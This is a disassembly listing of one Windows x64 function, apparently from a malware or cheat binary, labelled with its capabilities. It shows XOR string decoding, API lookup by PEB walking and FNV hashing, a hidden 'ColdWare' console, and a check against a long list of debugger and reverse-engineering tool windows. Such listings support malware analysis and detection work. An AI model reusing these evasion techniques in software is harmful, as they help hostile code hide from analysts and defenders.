Function at 0x14005ee00
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x850]
sub rsp, 0x950
movaps xmmword [rsp + 0x940], xmm6
mov rax, qword [0x14011c240]
xor rax, rsp
mov qword [rbp + 0x7a0], rax
movups xmm0, xmmword [str._LHW]
xor r15d, r15d
movups xmm1, xmmword [0x1400fcc00]
mov r8d, r15d
movzx eax, word [0x1400fcc58]
mov esi, dword [reloc.WS2_32.dll_accept]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm0, xmmword [0x1400fcc10]
movups xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x1400fcc30]
movups xmmword [rbp + 0x1f0], xmm1
movups xmm1, xmmword [0x1400fcc20]
movups xmmword [rbp + 0x220], xmm0
movsd xmm0, qword [0x1400fcc50]
movups xmmword [rbp + 0x210], xmm1
movups xmm1, xmmword [0x1400fcc40]
movsd qword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x230], xmm1
mov word [rbp + 0x248], ax
cmp esi, 2
jl 0x14005efff
movdqa xmm0, xmmword [str.8888888888888888c26jfc75_m_n:i]
lea rcx, [rbp + 0x1e4]
movdqa xmm5, xmmword [0x1400b8640]
movdqa xmm4, xmmword [0x1400fd0d0]
movdqa xmm6, xmmword [0x1400fcf50]
movdqa xmmword [rbp + 0x1d0], xmm0
mov edx, dword [rbp + 0x1d0]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x68
jl 0x14005eef0
cmp r8d, 0x6a
jge 0x14005f046
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x6a
jl 0x14005f010
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005f0d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005f0d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f0d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f0b0
cmp r8d, 0x419737d0
je 0x14005f0dc
test r9d, r9d
jne 0x14005f090
mov rax, qword [rax]
jmp 0x14005f060
mov eax, dword [rdi + 0x24]
xor edx, edx
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
lea rcx, [rbp + 0x1e0]
add r8, r10
call r8
lea rax, [0x14005cbc0]
mov dword [rbp + 0x180], 0x50
xor ecx, ecx
mov qword [rbp + 0x188], rax
mov dword [rbp + 0x184], 0x40
mov qword [rbp + 0x190], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x1c8], r15
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm0
lea rbx, [0x1400b492c]
movdqu xmmword [rbp + 0x1b0], xmm1
lea rcx, [rbp + 0x180]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1c0], rbx
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x198]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x1c0]
mov r8, rbx
mov qword [rsp + 0x58], r15
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [0x14011c880], rax
mov rbx, rax
call sub.d3d9.dll_Direct3DCreate9
mov qword [0x14011c8d0], rax
mov rcx, rax
test rax, rax
je 0x140061e36
lea rdx, [0x14011c888]
mov qword [0x14011c890], r15
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x14011c890]
mov qword [0x14011c89c], r15
mov qword [rsp + 0x28], rdx
xor edx, edx
mov dword [0x14011c8a4], r15d
mov qword [0x14011c8ac], r15
mov dword [0x14011c8b4], r15d
mov qword [0x14011c8c4], r15
lea r8d, [rdx + 1]
mov dword [0x14011c8b8], 1
mov dword [0x14011c8a8], 1
mov dword [0x14011c898], r15d
mov dword [0x14011c8bc], 1
mov dword [0x14011c8c0], 0x50
mov dword [0x14011c8cc], 1
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140061e2f
mov rcx, qword [0x14011c880]
xor edx, edx
mov qword [rsp + 0x980], r12
mov qword [rsp + 0x988], r13
mov qword [rsp + 0x990], r14
movaps xmmword [rsp + 0x930], xmm7
movaps xmmword [rsp + 0x920], xmm8
movaps xmmword [rsp + 0x910], xmm9
movaps xmmword [rsp + 0x900], xmm10
movaps xmmword [rsp + 0x8f0], xmm11
movaps xmmword [rsp + 0x8e0], xmm12
movaps xmmword [rsp + 0x8d0], xmm13
movaps xmmword [rsp + 0x8c0], xmm14
movaps xmmword [rsp + 0x8b0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14011c880]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.14001c4e0
call fcn.1400272c0
xor ecx, ecx
mov qword [rbp + 0x98], rax
mov r13, rax
or dword [rax], 0x400
mov qword [rax + 0x18], r15
call fcn.140041ec0
call fcn.140027870
test dword [r13], 0x400
je 0x14005f4da
call fcn.140027870
movaps xmm0, xmmword [0x1400fcfb0]
lea rdx, [rbp + 0x1e0]
movaps xmm1, xmm0
mov ecx, reloc.WS2_32.dll_setsockopt
mov rbx, rax
movups xmmword [rax + 0x164], xmm0
movups xmmword [rax + 0x184], xmm0
movups xmmword [rax + 0x174], xmm0
movups xmmword [rax + 0xe4], xmm0
movaps xmm0, xmmword [0x1400fd070]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movaps xmm0, xmmword [0x1400fd090]
lea rdx, [rbp + 0x1e0]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movaps xmm0, xmmword [0x1400fd060]
lea rdx, [rbp + 0x1e0]
mov ecx, reloc.WS2_32.dll_socket
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movaps xmm0, xmmword [0x1400b4b20]
movaps xmm1, xmmword [0x1400fcfe0]
movups xmmword [rbx + 0x1e4], xmm0
mov dword [rbx + 4], 0x40800000
movaps xmm0, xmmword [0x1400fd000]
movups xmmword [rbx + 0x154], xmm0
mov dword [rbx + 8], 0x40800000
movaps xmm0, xmmword [0x1400fcfd0]
movups xmmword [rbx + 0x134], xmm1
mov dword [rbx + 0x10], r15d
movaps xmm1, xmmword [0x1400fcff0]
movups xmmword [rbx + 0x244], xmm0
mov dword [rbx + 0x38], 0x41000000
movaps xmm0, xmmword [0x1400fcfa0]
movups xmmword [rbx + 0x144], xmm1
mov dword [rbx + 0x3c], 0x40c00000
movaps xmm1, xmmword [0x1400fd050]
movups xmmword [rbx + 0x254], xmm0
mov dword [rbx + 0x40], 0x41000000
movaps xmm0, xmmword [0x1400fd050]
movups xmmword [rbx + 0x264], xmm1
mov dword [rbx + 0x44], 0x3f800000
movaps xmm1, xmmword [0x1400fd030]
movups xmmword [rbx + 0x2c4], xmm0
movaps xmm0, xmmword [0x1400fd020]
movups xmmword [rbx + 0x2a4], xmm1
movups xmmword [rbx + 0x2b4], xmm1
movaps xmm1, xmm0
movups xmmword [rbx + 0x1f4], xmm0
movups xmmword [rbx + 0x204], xmm0
movaps xmm0, xmmword [0x1400fd010]
movaps xmm1, xmm0
movaps xmm1, xmmword [0x1400fd040]
movups xmmword [rbx + 0x2f4], xmm0
movups xmmword [rbx + 0x2d4], xmm0
movaps xmm0, xmmword [0x1400fcfb0]
movups xmmword [rbx + 0x114], xmm0
movups xmmword [rbx + 0x274], xmm1
movaps xmm0, xmm1
movups xmmword [rbx + 0x294], xmm1
movups xmmword [rbx + 0x284], xmm1
mov rcx, qword [0x14011c880]
call fcn.14004bad0
mov rcx, qword [0x14011c888]
call fcn.14004a5b0
lea rcx, [rbp + 0x2e0]
call fcn.140038f20
lea rcx, [rbp + 0x370]
call fcn.140038f20
movss xmm3, dword [0x1400fcf28]
lea rax, [rbp + 0x370]
mov byte [rbp + 0x37c], r15b
lea rdx, [0x1400b8af0]
mov byte [rbp + 0x328], 1
mov r8d, 0x225bc
mov byte [rbp + 0x300], 1
mov dword [rbp + 0x2f8], 3
mov dword [rbp + 0x2fc], 3
mov rcx, qword [r13 + 0xa0]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call fcn.14003a040
movss xmm3, dword [0x1400fcf2c]
lea rax, [0x1400fcc5c]
mov rcx, qword [r13 + 0xa0]
lea rdx, [0x1400db0b0]
mov qword [rsp + 0x28], rax
mov r8d, 0x1e695
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x20], rax
call fcn.140039d80
mov rcx, qword [r13 + 0xa0]
xor edx, edx
call fcn.140039a80
mov qword [rbp - 0x78], r15
mov eax, 0x5a
mov dword [rsp + 0x60], eax
mov r8d, r15d
mov dword [rsp + 0x64], eax
movzx eax, word [0x1400fcc90]
mov word [rbp + 0xe8], ax
movups xmm0, xmmword [0x1400fcc68]
movups xmm1, xmmword [0x1400fcc78]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x1400fcc88]
movsd qword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xd0], xmm1
cmp esi, 2
jl 0x14005f74f
movdqa xmm0, xmmword [str.8888888888888888c26jfc75_m_n:i]
lea rcx, [rbp + 0xc4]
movdqa xmm5, xmmword [0x1400b8640]
movdqa xmm4, xmmword [0x1400fd0d0]
movdqa xmm6, xmmword [0x1400fcf50]
movdqa xmmword [rbp + 0x1d0], xmm0
mov edx, dword [rbp + 0x1d0]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005f640
cmp r8d, 0x2a
jge 0x14005f796
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x2a
jl 0x14005f760
mov rcx, qword [0x14011c888]
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0xc0]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileA
test eax, eax
jne 0x14005f7ec
mov rcx, qword [rbp + 0x170]
lea r8, [rbp + 0x288]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov eax, dword [rbp + 0x2a0]
mov rcx, qword [rbp + 0x170]
mov dword [rsp + 0x60], eax
mov eax, dword [rbp + 0x2a4]
mov dword [rsp + 0x64], eax
mov qword [rbp - 0x78], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x2c8]
call qword [sym.imp.USER32.dll_GetWindowRect]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ColdWare
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x14011c960]
call fcn.140003600
mov esi, dword [0x14011d5f0]
lea rbx, str.OllyDbg
mov r14, qword gs:[0x58]
lea rdi, str.Immunity_Debugger
movss xmm15, dword [0x1400fcf3c]
lea r12, str.WinDbg
movss xmm11, dword [0x1400fcf34]
xorps xmm0, xmm0
movss xmm9, dword [0x1400b49ac]
xorps xmm10, xmm10
movss xmm13, dword [0x1400fcf30]
movss xmm14, dword [0x1400b49c4]
movss xmm12, dword [0x1400b4a24]
movups xmmword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x268], xmm0
movups xmmword [rbp + 0x278], xmm0
nop dword [rax]
nop dword [rax + rax]
cmp byte [0x14011c7fc], 0
jne 0x140061c3d
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x258]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005f8fd
lea rcx, [rbp + 0x258]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x258]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140061c30
call fcn.14004a780
call fcn.14004be90
call fcn.14002d4b0
lea rax, str.x64dbg
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x418], rax
lea rax, str.x32dbg
mov qword [rbp + 0x420], rax
lea rax, str.Radare2
mov qword [rbp + 0x428], rax
lea rax, str.Cheat_Engine
mov qword [rbp + 0x430], rax
lea rax, str.LordPE
mov qword [rbp + 0x438], rax
lea rax, str.Sysinternals_Suite
mov qword [rbp + 0x440], rax
lea rax, str.PEiD
mov qword [rbp + 0x448], rax
lea rax, str.Fiddler
mov qword [rbp + 0x450], rax
lea rax, str.Wireshark
mov qword [rbp + 0x458], rax
lea rax, str.Process_Hacker
mov qword [rbp + 0x460], rax
lea rax, str.API_Monitor
mov qword [rbp + 0x468], rax
lea rax, [0x1400f98e4]
mov qword [rbp + 0x470], rax
lea rax, str.Ghidra
mov qword [rbp + 0x478], rax
lea rax, str.IDA_Pro
mov qword [rbp + 0x480], rax
lea rax, str.Cutter
mov qword [rbp + 0x488], rax
lea rax, str.MegaDumper
mov qword [rbp + 0x490], rax
lea rax, str.TitanHide
mov qword [rbp + 0x498], rax
lea rax, str.MegaRAIDSASStatus
mov qword [rbp + 0x4a0], rax
lea rax, str.MegaRAID_Storage_Manager
mov qword [rbp + 0x4a8], rax
lea rax, str.OllyICE
mov qword [rbp + 0x4b0], rax
lea rax, str.SoftICE
mov qword [rbp + 0x4b8], rax
lea rax, str.W32Dasm
mov qword [rbp + 0x4c0], rax
lea rax, str.PEStudio
mov qword [rbp + 0x4c8], rax
lea rax, str.ImmDbg
mov qword [rbp + 0x4d0], rax
lea rax, str.Scylla
mov qword [rbp + 0x4d8], rax
lea rax, str.PEBrowse_Professional
mov qword [rbp + 0x4e0], rax
lea rax, str.PPEE__Professional_PE_Explorer_
mov qword [rbp + 0x4e8], rax
lea rax, str.PE_bear
mov qword [rbp + 0x4f0], rax
lea rax, str.Resource_Hacker
mov qword [rbp + 0x4f8], rax
lea rax, str.XenoScan
mov qword [rbp + 0x500], rax
lea rax, str.Code::Blocks_Debugger
mov qword [rbp + 0x508], rax
lea rax, str.GNU_Debugger__GDB_
mov qword [rbp + 0x510], rax
lea rax, str.Eclipse_Debugger
mov qword [rbp + 0x518], rax
lea rax, str.Microsoft_Application_Verifier
mov qword [rbp + 0x520], rax
lea rax, str.Hopper_Disassembler
mov qword [rbp + 0x528], rax
lea rax, str.Binary_Ninja
mov qword [rbp + 0x530], rax
lea rax, str.IDA:_Quick_start
mov qword [rbp + 0x538], rax
lea rax, str.IDA_v6.8.150423
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x540], rax
lea rbx, [rbp + 0x400]
lea rax, [0x1400f9aa8]
mov qword [rbp + 0x548], rax
lea rax, [0x1400f9aac]
mov qword [rbp + 0x550], rax
lea rax, [0x1400f9ab0]
mov qword [rbp + 0x558], rax
lea rax, str.Debugger_Unnamed_1
mov qword [rbp + 0x560], rax
lea rax, str.Debugger_Unnamed_2
mov qword [rbp + 0x568], rax
lea rax, str.Debugger_Unnamed_3
mov qword [rbp + 0x570], rax
mov rdi, qword [rbx]
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140061d6a
add rbx, 8
lea rax, [rbp + 0x578]
cmp rbx, rax
jne 0x14005fb90
call fcn.14005ad10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.No_debugger_detected._Continue_running_the_app.
call fcn.140059770
mov rcx, rax
lea rdx, [0x14005a020]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov dword [rbp - 0x70], 0x44480000
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x6c], 0x43e50000
call fcn.1400331e0
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rdx, [0x14011c1ca]
lea rcx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140016d60
mov r9d, 8
mov dword [rbp - 0x68], 0x44480000
xor r8d, r8d
mov dword [rbp - 0x64], 0x43e50000
lea rdx, [rbp - 0x68]
lea rcx, str.main
call fcn.140019930
call fcn.140027c10
mov rbx, qword [r14 + rsi*8]
mov r12, rax
mov eax, reloc.WS2_32.dll_recv
mov edi, eax
mov eax, dword [rax + rbx]
cmp dword [0x14011cfe8], eax
jle 0x140060181
lea rcx, [0x14011cfe8]
call fcn.1400af8dc
cmp dword [0x14011cfe8], 0xffffffff
jne 0x140060181
mov qword [0x14011cc50], 0
mov qword [0x14011cc58], 0
mov qword [0x14011cc60], 0
mov qword [0x14011cc68], 0
mov qword [0x14011cc70], 0
mov qword [0x14011cc78], 0
mov qword [0x14011cc80], 0
mov qword [0x14011cc88], 0
mov qword [0x14011cc90], 0
mov qword [0x14011cc98], 0
mov qword [0x14011cca0], 0
mov qword [0x14011cca8], 0
mov qword [0x14011ccb0], 0
mov qword [0x14011ccb8], 0
mov qword [0x14011ccc0], 0
mov qword [0x14011ccc8], 0
mov qword [0x14011ccd0], 0
mov qword [0x14011ccd8], 0
mov qword [0x14011cce0], 0
mov qword [0x14011cce8], 0
mov qword [0x14011ccf0], 0
mov qword [0x14011ccf8], 0
mov qword [0x14011cd00], 0
mov qword [0x14011cd08], 0
mov qword [0x14011cd10], 0
mov qword [0x14011cd18], 0
mov qword [0x14011cd20], 0
mov qword [0x14011cd28], 0
mov qword [0x14011cd30], 0
mov qword [0x14011cd38], 0
mov qword [0x14011cd40], 0
mov qword [0x14011cd48], 0
mov qword [0x14011cd50], 0
mov qword [0x14011cd58], 0
mov qword [0x14011cd60], 0
mov qword [0x14011cd68], 0
mov qword [0x14011cd70], 0
mov qword [0x14011cd78], 0
mov qword [0x14011cd80], 0
mov qword [0x14011cd88], 0
mov qword [0x14011cd90], 0
mov qword [0x14011cd98], 0
mov qword [0x14011cda0], 0
mov qword [0x14011cda8], 0
mov qword [0x14011cdb0], 0
mov qword [0x14011cdb8], 0
mov qword [0x14011cdc0], 0
mov qword [0x14011cdc8], 0
mov qword [0x14011cdd0], 0
mov qword [0x14011cdd8], 0
mov qword [0x14011cde0], 0
mov qword [0x14011cde8], 0
mov qword [0x14011cdf0], 0
mov qword [0x14011cdf8], 0
mov qword [0x14011ce00], 0
mov qword [0x14011ce08], 0
mov qword [0x14011ce10], 0
mov qword [0x14011ce18], 0
mov qword [0x14011ce20], 0
mov qword [0x14011ce28], 0
mov qword [0x14011ce30], 0
mov qword [0x14011ce38], 0
mov qword [0x14011ce40], 0
mov qword [0x14011ce48], 0
mov qword [0x14011ce50], 0
mov qword [0x14011ce58], 0
mov qword [0x14011ce60], 0
mov qword [0x14011ce68], 0
mov qword [0x14011ce70], 0
mov qword [0x14011ce78], 0
mov qword [0x14011ce80], 0
mov qword [0x14011ce88], 0
mov qword [0x14011ce90], 0
mov qword [0x14011ce98], 0
mov qword [0x14011cea0], 0
mov qword [0x14011cea8], 0
mov qword [0x14011ceb0], 0
mov qword [0x14011ceb8], 0
mov qword [0x14011cec0], 0
mov qword [0x14011cec8], 0
mov qword [0x14011ced0], 0
lea rcx, [0x14011cfe8]
mov qword [0x14011ced8], 0
mov qword [0x14011cee0], 0
mov qword [0x14011cee8], 0
mov qword [0x14011cef0], 0
mov qword [0x14011cef8], 0
mov qword [0x14011cf00], 0
mov qword [0x14011cf08], 0
mov qword [0x14011cf10], 0
mov qword [0x14011cf18], 0
mov qword [0x14011cf20], 0
mov qword [0x14011cf28], 0
mov qword [0x14011cf30], 0
mov qword [0x14011cf38], 0
mov qword [0x14011cf40], 0
mov qword [0x14011cf48], 0
mov qword [0x14011cf50], 0
mov qword [0x14011cf58], 0
mov qword [0x14011cf60], 0
mov qword [0x14011cf68], 0
mov qword [0x14011cf70], 0
mov qword [0x14011cf78], 0
mov qword [0x14011cf80], 0
mov qword [0x14011cf88], 0
mov qword [0x14011cf90], 0
mov qword [0x14011cf98], 0
mov qword [0x14011cfa0], 0
mov qword [0x14011cfa8], 0
mov qword [0x14011cfb0], 0
mov qword [0x14011cfb8], 0
mov qword [0x14011cfc0], 0
mov qword [0x14011cfc8], 0
mov qword [0x14011cfd0], 0
mov qword [0x14011cfd8], 0
mov qword [0x14011cfe0], 0
call fcn.1400af870
mov eax, dword [rdi + rbx]
cmp dword [0x14011cff8], eax
jle 0x1400601b8
lea rcx, [0x14011cff8]
call fcn.1400af8dc
cmp dword [0x14011cff8], 0xffffffff
jne 0x1400601b8
lea rcx, [0x14011cff8]
mov qword [0x14011cff0], 0
call fcn.1400af870
mov eax, dword [rdi + rbx]
cmp dword [0x14011d398], eax
jle 0x1400606dd
lea rcx, [0x14011d398]
call fcn.1400af8dc
cmp dword [0x14011d398], 0xffffffff
jne 0x1400606dd
mov qword [0x14011d000], 0
mov qword [0x14011d008], 0
mov qword [0x14011d010], 0
mov qword [0x14011d018], 0
mov qword [0x14011d020], 0
mov qword [0x14011d028], 0
mov qword [0x14011d030], 0
mov qword [0x14011d038], 0
mov qword [0x14011d040], 0
mov qword [0x14011d048], 0
mov qword [0x14011d050], 0
mov qword [0x14011d058], 0
mov qword [0x14011d060], 0
mov qword [0x14011d068], 0
mov qword [0x14011d070], 0
mov qword [0x14011d078], 0
mov qword [0x14011d080], 0
mov qword [0x14011d088], 0
mov qword [0x14011d090], 0
mov qword [0x14011d098], 0
mov qword [0x14011d0a0], 0
mov qword [0x14011d0a8], 0
mov qword [0x14011d0b0], 0
mov qword [0x14011d0b8], 0
mov qword [0x14011d0c0], 0
mov qword [0x14011d0c8], 0
mov qword [0x14011d0d0], 0
mov qword [0x14011d0d8], 0
mov qword [0x14011d0e0], 0
mov qword [0x14011d0e8], 0
mov qword [0x14011d0f0], 0
mov qword [0x14011d0f8], 0
mov qword [0x14011d100], 0
mov qword [0x14011d108], 0
mov qword [0x14011d110], 0
mov qword [0x14011d118], 0
mov qword [0x14011d120], 0
mov qword [0x14011d128], 0
mov qword [0x14011d130], 0
mov qword [0x14011d138], 0
mov qword [0x14011d140], 0
mov qword [0x14011d148], 0
mov qword [0x14011d150], 0
mov qword [0x14011d158], 0
mov qword [0x14011d160], 0
mov qword [0x14011d168], 0
mov qword [0x14011d170], 0
mov qword [0x14011d178], 0
mov qword [0x14011d180], 0
mov qword [0x14011d188], 0
mov qword [0x14011d190], 0
mov qword [0x14011d198], 0
mov qword [0x14011d1a0], 0
mov qword [0x14011d1a8], 0
mov qword [0x14011d1b0], 0
mov qword [0x14011d1b8], 0
mov qword [0x14011d1c0], 0
mov qword [0x14011d1c8], 0
mov qword [0x14011d1d0], 0
mov qword [0x14011d1d8], 0
mov qword [0x14011d1e0], 0
mov qword [0x14011d1e8], 0
mov qword [0x14011d1f0], 0
mov qword [0x14011d1f8], 0
mov qword [0x14011d200], 0
mov qword [0x14011d208], 0
mov qword [0x14011d210], 0
mov qword [0x14011d218], 0
mov qword [0x14011d220], 0
mov qword [0x14011d228], 0
mov qword [0x14011d230], 0
mov qword [0x14011d238], 0
mov qword [0x14011d240], 0
mov qword [0x14011d248], 0
mov qword [0x14011d250], 0
mov qword [0x14011d258], 0
mov qword [0x14011d260], 0
mov qword [0x14011d268], 0
mov qword [0x14011d270], 0
mov qword [0x14011d278], 0
mov qword [0x14011d280], 0
lea rcx, [0x14011d398]
mov qword [0x14011d288], 0
mov qword [0x14011d290], 0
mov qword [0x14011d298], 0
mov qword [0x14011d2a0], 0
mov qword [0x14011d2a8], 0
mov qword [0x14011d2b0], 0
mov qword [0x14011d2b8], 0
mov qword [0x14011d2c0], 0
mov qword [0x14011d2c8], 0
mov qword [0x14011d2d0], 0
mov qword [0x14011d2d8], 0
mov qword [0x14011d2e0], 0
mov qword [0x14011d2e8], 0
mov qword [0x14011d2f0], 0
mov qword [0x14011d2f8], 0
mov qword [0x14011d300], 0
mov qword [0x14011d308], 0
mov qword [0x14011d310], 0
mov qword [0x14011d318], 0
mov qword [0x14011d320], 0
mov qword [0x14011d328], 0
mov qword [0x14011d330], 0
mov qword [0x14011d338], 0
mov qword [0x14011d340], 0
mov qword [0x14011d348], 0
mov qword [0x14011d350], 0
mov qword [0x14011d358], 0
mov qword [0x14011d360], 0
mov qword [0x14011d368], 0
mov qword [0x14011d370], 0
mov qword [0x14011d378], 0
mov qword [0x14011d380], 0
mov qword [0x14011d388], 0
mov qword [0x14011d390], 0
call fcn.1400af870
cmp byte [0x14011d39c], 0
lea r14, [0x14011cc50]
jne 0x1400607f5
mov rbx, r15
lea r15, [0x14011d000]
nop dword [rax + rax]
